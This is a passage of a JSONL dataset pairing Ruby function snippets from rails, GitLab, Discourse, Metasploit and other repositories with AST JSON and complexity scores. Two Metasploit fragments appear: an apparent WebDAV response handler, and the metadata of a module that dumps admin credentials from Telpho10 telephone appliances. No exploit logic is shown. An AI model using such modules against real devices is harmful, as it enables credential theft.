xmlns:lp2=\\\"http://apache.org/dav/props/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<D:href>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"</D:href>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:resourcetype><D:collection/></lp1:resourcetype>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>\\n\"]},{\"type\":\"str\",\"children\":[\"<lp1:getetag>\\\"39e0001-1000-4808c3ec95000\\\"</lp1:getetag>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:lockdiscovery/>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:getcontenttype>httpd/unix-directory</D:getcontenttype>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:prop>\\n\"]},{\"type\":\"str\",\"children\":[\"<D:status>HTTP/1.1 200 OK</D:status>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:propstat>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:response>\\n\"]},{\"type\":\"str\",\"children\":[\"</D:multistatus>\\n\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending 404 for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[207]},{\"type\":\"str\",\"children\":[\"Multi-Status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}","id":"16d7e04e-52b0-4eb1-9b60-96f70062c856"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations_test.rb","start_line":123,"raw_source":"def test_validates_each_custom_reader\n    hits = 0\n    CustomReader.validates_each(:title, :content, [:title, :content]) do |record, attr|\n      record.errors.add attr, \"gotcha\"\n      hits += 1\n    end\n    t = CustomReader.new(\"title\" => \"valid\", \"content\" => \"whatever\")\n    assert_predicate t, :invalid?\n    assert_equal 4, hits\n    assert_equal %w(gotcha gotcha), t.errors[:title]\n    assert_equal %w(gotcha gotcha), t.errors[:content]\n  ensure\n    CustomReader.clear_validators!\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_each_custom_reader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hits\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomReader\"]},\"validates_each\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"content\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attr\"]},{\"type\":\"str\",\"children\":[\"gotcha\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hits\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomReader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"valid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"whatever\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"lvar\",\"children\":[\"hits\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"gotcha\"]},{\"type\":\"str\",\"children\":[\"gotcha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"gotcha\"]},{\"type\":\"str\",\"children\":[\"gotcha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomReader\"]},\"clear_validators!\"]}]}]}","id":"933f59f3-6f1b-4886-8d91-e242f8ff565d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb","start_line":42,"raw_source":"def json_to_mdm_object(response_wrapper, mdm_class)\n    body = response_wrapper.response_body\n    if !body.nil? && !body.empty?\n      parsed_body = JSON.parse(body, symbolize_names: true)\n\n      if response_wrapper.is_a?(Metasploit::Framework::DataService::RemoteHTTPDataService::SuccessResponse)\n        begin\n          data = Array.wrap(parsed_body[:data])\n          rv = []\n          data.each do |json_object|\n            rv << to_ar(mdm_class.constantize, json_object)\n          end\n          return rv\n        rescue => e\n          raise \"Mdm Object conversion failed #{e.message}\"\n        end\n      elsif response_wrapper.is_a?(Metasploit::Framework::DataService::RemoteHTTPDataService::ErrorResponse)\n        handle_error_response(parsed_body)\n      end\n    elsif response_wrapper.is_a?(Metasploit::Framework::DataService::RemoteHTTPDataService::FailedResponse)\n      raise response_wrapper.to_s\n    else\n      raise 'empty response'\n    end\n  end","complexity_score":43.9,"ast_json":"{\"type\":\"def\",\"children\":[\"json_to_mdm_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response_wrapper\"]},{\"type\":\"arg\",\"children\":[\"mdm_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"response_body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"DataService\"]},\"RemoteHTTPDataService\"]},\"SuccessResponse\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rv\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json_object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rv\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"to_ar\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mdm_class\"]},\"constantize\"]},{\"type\":\"lvar\",\"children\":[\"json_object\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rv\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Mdm Object conversion failed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"DataService\"]},\"RemoteHTTPDataService\"]},\"ErrorResponse\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_error_response\",{\"type\":\"lvar\",\"children\":[\"parsed_body\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"DataService\"]},\"RemoteHTTPDataService\"]},\"FailedResponse\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_wrapper\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"empty response\"]}]}]}]}]}]}","id":"898b286f-c3fb-49d2-bcec-2d16f732edb4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/workhorse_helpers.rb","start_line":102,"raw_source":"def jwt_file_upload_param(key:, params:)\n    upload_params = UPLOAD_PARAM_NAMES.map do |file_upload_param|\n      [file_upload_param, params[\"#{key}.#{file_upload_param}\"]]\n    end\n    upload_params = upload_params.to_h.compact\n\n    return {} if upload_params.empty?\n\n    { \"#{key}.gitlab-workhorse-upload\" => jwt_token(data: { 'upload' => upload_params }) }\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"jwt_file_upload_param\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"key\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_params\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UPLOAD_PARAM_NAMES\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_upload_param\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_upload_param\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_upload_param\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_params\"]},\"to_h\"]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_params\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\".gitlab-workhorse-upload\"]}]},{\"type\":\"send\",\"children\":[null,\"jwt_token\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"upload\"]},{\"type\":\"lvar\",\"children\":[\"upload_params\"]}]}]}]}]}]}]}]}]}]}","id":"0d52f4f5-6854-4a21-87fe-f3257ecd4bdb"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/smf2.rb","start_line":447,"raw_source":"def __query(db, sql, **opts)\n    db.query(\n      sql.gsub(\"{prefix}\", options.prefix),\n      { symbolize_keys: true, cache_rows: false }.merge(opts),\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"__query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db\"]},{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"kwrestarg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"{prefix}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_rows\"]},{\"type\":\"false\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"73ad0b31-ed15-4f73-b8df-be407b2bc75a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/serialization/hash.rb","start_line":65,"raw_source":"def add_orders(orders)\n        if orders.is_a?(::Hash)\n          order(orders)\n        elsif orders.is_a?(::Array)\n          orders.each { |o| order([o].to_h) }\n        else\n          raise ArgumentError, \"Cannot add orders from #{orders.class}\"\n        end\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_orders\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"orders\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Hash\"]}]},{\"type\":\"send\",\"children\":[null,\"order\",{\"type\":\"lvar\",\"children\":[\"orders\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[null,\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]}]},\"to_h\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot add orders from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]},\"class\"]}]}]}]}]}]}]}","id":"5eb9e7f2-5031-4269-9441-876ad6219b76"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/enqueue_job_service.rb","start_line":7,"raw_source":"def initialize(job, current_user:, variables: nil)\n      @job = job\n      @current_user = current_user\n      @variables = variables\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"variables\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@job\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@variables\",{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]}]}","id":"ebaff16f-749b-4c54-9d6d-42bdf4661ea9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/telpho10_credential_dump.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Telpho10 Backup Credentials Dumper',\n        'Description' => %q{\n          This module exploits a vulnerability present in all versions of Telpho10 telephone system\n          appliance. This module generates a configuration backup of Telpho10,\n          downloads the file and dumps the credentials for admin login,\n          phpmyadmin, phpldapadmin, etc.\n          This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.\n        },\n        'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module\n        'License' => MSF_LICENSE,\n        'References' => ['URL', 'https://github.com/whoot/TelpOWN'],\n        'Platform' => 'linux',\n        'Privileged' => false,\n        'DisclosureDate' => '2016-09-02',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80)\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Telpho10 Backup Credentials Dumper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability present in all versions of Telpho10 telephone system\\n\"]},{\"type\":\"str\",\"children\":[\"          appliance. This module generates a configuration backup of Telpho10,\\n\"]},{\"type\":\"str\",\"children\":[\"          downloads the file and dumps the credentials for admin login,\\n\"]},{\"type\":\"str\",\"children\":[\"          phpmyadmin, phpldapadmin, etc.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Jan Rude\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/whoot/TelpOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-09-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]}]}]}]}]}","id":"a0e08172-4760-48a5-8cc7-c73634d24941"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_embedding_definition_serializer.rb","start_line":25,"raw_source":"def url\n    object.seeded? ? \"********\" : object.url\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"seeded?\"]},{\"type\":\"str\",\"children\":[\"********\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"url\"]}]}]}","id":"9f22e8e7-eb4a-410c-a830-45ee16dcdc45"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/date_time_test.rb","start_line":10,"raw_source":"def test_default_timezone_validation\n    assert_raises ArgumentError do\n      ActiveRecord.default_timezone = \"UTC\"\n    end\n\n    # These values should not raise errors\n    ActiveRecord.default_timezone = :local\n    ActiveRecord.default_timezone = :utc\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_timezone_validation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"default_timezone=\",{\"type\":\"str\",\"children\":[\"UTC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"default_timezone=\",{\"type\":\"sym\",\"children\":[\"local\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"default_timezone=\",{\"type\":\"sym\",\"children\":[\"utc\"]}]}]}]}","id":"315eaeca-b6fc-4024-956d-2446255ef597"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/tax_rates_controller.rb","start_line":16,"raw_source":"def spree_permitted_attributes\n            super + [calculator_attributes: Spree::Calculator.json_api_permitted_attributes]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spree_permitted_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"calculator_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Calculator\"]},\"json_api_permitted_attributes\"]}]}]}]}]}]}","id":"1f0a0017-186d-4e08-94c1-845121e385cb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":1774,"raw_source":"def build_cast_value(name, value)\n        ActiveModel::Attribute.with_cast_value(name, value, Type.default_value)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_cast_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Attribute\"]},\"with_cast_value\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"default_value\"]}]}]}","id":"d4443d44-a6f9-4b80-98cf-8f2e1790c1eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/import_export/wait_relation_exports_worker.rb","start_line":59,"raw_source":"def fail_started_jobs_no_longer_running\n        started_relation_exports.each do |relation_export|\n          next if Gitlab::SidekiqStatus.running?(relation_export.jid)\n          next if relation_export.reset.finished?\n\n          relation_export.mark_as_failed(\"Exhausted number of retries to export: #{relation_export.relation}\")\n        end\n      end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_started_jobs_no_longer_running\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"started_relation_exports\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation_export\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqStatus\"]},\"running?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_export\"]},\"jid\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_export\"]},\"reset\"]},\"finished?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_export\"]},\"mark_as_failed\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exhausted number of retries to export: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_export\"]},\"relation\"]}]}]}]}]}]}]}","id":"703cb755-0f82-454b-a398-964a33e0e3dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/user_preferences_type.rb","start_line":78,"raw_source":"def organization_groups_projects_sort\n      user_preference.organization_groups_projects_sort&.to_sym\n    end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_groups_projects_sort\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_preference\"]},\"organization_groups_projects_sort\"]},\"to_sym\"]}]}","id":"c8de071d-30da-46d9-a18a-6b5949e1d259"}
